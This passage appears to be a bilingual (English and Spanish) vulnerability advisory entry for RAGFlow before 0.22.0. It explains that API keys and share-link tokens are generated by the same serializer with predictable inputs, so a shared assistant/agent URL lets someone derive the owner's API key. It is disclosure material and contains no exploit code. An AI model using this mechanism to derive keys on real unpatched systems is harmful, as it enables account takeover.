In versions prior to 0.22.0, the use of an insecure key generation algorithm in the API key and beta (assistant/agent share auth) token generation process allows these tokens to be mutually derivable. Specifically, both tokens are generated using the same `URLSafeTimedSerializer` with predictable inputs, enabling an unauthorized user who obtains the shared assistant/agent URL to derive the personal API key. This grants them full control over the assistant/agent owner's account. Version 0.22.0 fixes the issue."}, {"lang": "es", "value": "RAGFlow es un motor RAG (Generación Aumentada por Recuperación) de código abierto. En versiones anteriores a la 0.22.0, el uso de un algoritmo de generación de claves inseguro en el proceso de generación de la clave API y del token beta (autenticación compartida de asistente/agente) permite que estos tokens sean mutuamente derivables. Específicamente, ambos tokens se generan utilizando el mismo 'URLSafeTimedSerializer' con entradas predecibles, lo que permite a un usuario no autorizado que obtiene la URL compartida del asistente/agente derivar la clave API personal.
